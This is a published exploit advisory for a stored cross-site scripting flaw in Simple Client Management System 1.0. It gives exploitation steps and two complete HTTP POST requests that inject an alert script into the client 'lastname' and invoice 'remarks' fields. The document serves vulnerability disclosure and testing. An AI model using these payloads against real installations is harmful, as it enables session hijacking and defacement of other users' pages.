Exploit for Simple Client Management System 1.0 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:164808
# Exploit Title: Simple Client Management System 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)  
# Exploit Author: Sentinal920  
# Date: 5-11-2021   
# Category: Web application  
# Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cms.zip  
# Version: 1.0  
# Tested on: Kali Linux  
# Vulnerable page: client,invoice  
# Vulnerable Parameters: "lastname", "remarks"  
  
Technical description:  
A stored XSS vulnerability exists in the Simple Client Management  
System. An attacker can leverage this vulnerability in order to run  
javascript on the web server surfers behalf, which can lead to cookie  
stealing, defacement and more.  
  
Steps to exploit:  
1) Navigate to http://localhost/cms/admin/?page=client  
2) Click on add new client  
3) Insert your payload in the "lastname" parameter or the "description" parameter  
4) Click save  
  
Proof of concept (Poc):  
The following payload will allow you to run the javascript -  
<script>alert(1)</script>  
  
  
  
1) XSS POC in Add New Client  
-----------------------------  
  
POST /cms/classes/Master.php?f=save_client HTTP/1.1  
Host: localhost  
Content-Length: 1026  
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82  
Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/cms/admin/?page=client/manage_client  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn  
Connection: close  
  
  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="lastname"  
  
<script>alert(1)</script>  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="firstname"  
  
anything  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="middlename"  
  
anything  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="gender"  
  
Male  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="dob"  
  
2021-11-03  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="contact"  
  
xxxxxxxxxx  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="address"  
  
xxxxxx  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="email"  
xxxx@xxx.com  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt  
Content-Disposition: form-data; name="avatar"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundaryIBW1SfSFiXMKK7Nt--  
  
  
  
2) XSS POC in Add New Invoice  
-----------------------------  
  
POST /cms/classes/Master.php?f=save_invoice HTTP/1.1  
Host: localhost  
Content-Length: 1032  
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryEk0iOWhhoA0lApXo  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82  
Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/cms/admin/?page=invoice/manage_invoice  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn  
Connection: close  
  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="id"  
  
  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="client_id"  
  
1  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="service_id[]"  
  
1  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="price[]"  
  
250  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="discount_perc"  
  
0  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="discount"  
  
0  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="tax_perc"  
  
0  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="tax"  
  
0  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="total_amount"  
  
250  
------WebKitFormBoundaryEk0iOWhhoA0lApXo  
Content-Disposition: form-data; name="remarks"  
  
<script>alert(1)</script>  
------WebKitFormBoundaryEk0iOWhhoA0lApXo--